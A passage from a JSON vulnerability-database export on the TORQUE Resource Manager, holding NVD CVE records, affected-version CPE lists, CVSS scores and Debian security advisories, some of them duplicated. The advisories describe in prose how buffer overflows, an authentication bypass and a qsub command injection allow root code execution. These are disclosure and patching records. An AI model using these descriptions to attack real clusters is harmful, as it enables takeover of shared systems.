"cpe:/a:adaptivecomputing:torque_resource_manager:3.0.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.7", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.10", "cpe:/a:adaptivecomputing:torque_resource_manager:4.0.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.16", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.15", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.7", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.13", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.3.1", "cpe:/a:adaptivecomputing:torque_resource_manager:4.0.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.10", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.9", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.7", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.10", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.12", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.13", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.4.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.7", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.13", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.12", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.5.1", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.3", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.5", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.0", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.11", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.3", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.2.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.11", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.10", "cpe:/a:adaptivecomputing:torque_resource_manager:2.2.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.6", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.7", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.12", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.14", "cpe:/a:adaptivecomputing:torque_resource_manager:2.0.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.2"], "id": "CVE-2013-4495", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4495", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.15:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.17:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.16:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.14:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.0.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T10:04:31", "description": "Stack-based buffer overflow in lib/Libdis/disrsi_.c in Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) 2.5.x through 2.5.13 allows remote attackers to execute arbitrary code via a large count value.", "cvss3": {}, "published": "2014-05-16T14:55:00", "type": "cve", "title": "CVE-2014-0749", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2018-10-09T19:42:00", "cpe": ["cpe:/a:adaptivecomputing:torque_resource_manager:2.5.10", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.11", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.12", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.13", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.7", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.4"], "id": "CVE-2014-0749", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0749", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.2:*:*:*:*:*:*:*"]}], "debian": [{"lastseen": "2021-10-22T00:11:07", "description": "- --------------------------------------------------------------------------\nDebian Security Advisory DSA-2329-1 security@debian.org\nhttp://www.debian.org/security/ Nico Golde\nOct 27th, 2011 http://www.debian.org/security/faq\n- --------------------------------------------------------------------------\n\nPackage : torque\nVulnerability : buffer overflow\nProblem type : remote\nDebian-specific: no\nDebian bug : none\nCVE IDs : CVE-2011-2193\n\nBartlomiej Balcerek discovered several buffer overflows in torque server,\na PBS-derived batch processing server. This allows an attacker to crash the\nservice or execute arbitrary code with privileges of the server via crafted\njob or host names.\n\nThe oldstable distribution (lenny) does not contain torque.\n\nFor the stable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze1.\n\nFor the testing distribution (wheezy), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2011-10-27T08:56:33", "type": "debian", "title": "[SECURITY] [DSA 2329-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2011-10-27T08:56:33", "id": "DEBIAN:DSA-2329-1:FF59E", "href": "https://lists.debian.org/debian-security-announce/2011/msg00205.html", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-12-03T00:34:02", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2770-1 security@debian.org\nhttp://www.debian.org/security/ Salvatore Bonaccorso\nOctober 09, 2013 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : torque\nVulnerability : authentication bypass\nProblem type : remote\nDebian-specific: no\nCVE ID : CVE-2013-4319\nDebian Bug : 722306\n\nJohn Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs_mom daemon\nto queue and run a job.\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze2.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u1.\n\nFor the unstable distribution (sid), this problem will be fixed soon.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2013-10-09T14:37:40", "type": "debian", "title": "[SECURITY] [DSA 2770-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2013-10-09T14:37:40", "id": "DEBIAN:DSA-2770-1:26F96", "href": "https://lists.debian.org/debian-security-announce/2013/msg00181.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-10-21T23:38:56", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2770-1 security@debian.org\nhttp://www.debian.org/security/ Salvatore Bonaccorso\nOctober 09, 2013 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : torque\nVulnerability : authentication bypass\nProblem type : remote\nDebian-specific: no\nCVE ID : CVE-2013-4319\nDebian Bug : 722306\n\nJohn Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs_mom daemon\nto queue and run a job.\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze2.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u1.\n\nFor the unstable distribution (sid), this problem will be fixed soon.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2013-10-09T14:37:40", "type": "debian", "title": "[SECURITY] [DSA 2770-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2013-10-09T14:37:40", "id": "DEBIAN:DSA-2770-1:837E9", "href": "https://lists.debian.org/debian-security-announce/2013/msg00181.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-01-18T13:41:03", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2796-1 security@debian.org\nhttp://www.debian.org/security/ Salvatore Bonaccorso\nNovember 13, 2013 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : torque\nVulnerability : arbitrary code execution\nProblem type : remote\nDebian-specific: no\nCVE ID : CVE-2013-4495\nDebian Bug : 729333\n\nMatt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze3.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u2.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.3.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2013-11-13T19:31:34", "type": "debian", "title": "[SECURITY] [DSA 2796-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2013-11-13T19:31:34", "id": "DEBIAN:DSA-2796-1:98437", "href": "https://lists.debian.org/debian-security-announce/2013/msg00208.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-21T23:26:01", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2796-1 security@debian.org\nhttp://www.debian.org/security/ Salvatore Bonaccorso\nNovember 13, 2013 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : torque\nVulnerability : arbitrary code execution\nProblem type : remote\nDebian-specific: no\nCVE ID : CVE-2013-4495\nDebian Bug : 729333\n\nMatt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze3.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u2.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.3.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2013-11-13T19:31:34", "type": "debian", "title": "[SECURITY] [DSA 2796-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2013-11-13T19:31:34", "id": "DEBIAN:DSA-2796-1:5F931", "href": "https://lists.debian.org/debian-security-announce/2013/msg00208.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-03T12:05:28", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2936-1 security@debian.org\nhttp://www.debian.org/security/ Salvatore Bonaccorso\nMay 23, 2014 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : torque\nCVE ID : CVE-2014-0749\nDebian Bug : 748827\n\nJohn Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze4.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u3.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.4.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2014-05-23T09:19:39", "type": "debian", "title": "[SECURITY] [DSA 2936-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-23T09:19:39", "id": "DEBIAN:DSA-2936-1:16000", "href": "https://lists.debian.org/debian-security-announce/2014/msg00117.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-21T23:08:48", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-2936-1 security@debian.org\nhttp://www.debian.org/security/ Salvatore Bonaccorso\nMay 23, 2014 http://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : torque\nCVE ID : CVE-2014-0749\nDebian Bug : 748827\n\nJohn Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.\n\nFor the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze4.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u3.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.4.\n\nWe recommend that you upgrade your torque packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: http://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2014-05-23T09:19:39", "type": "debian", "title": "[SECURITY] [DSA 2936-1] torque security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 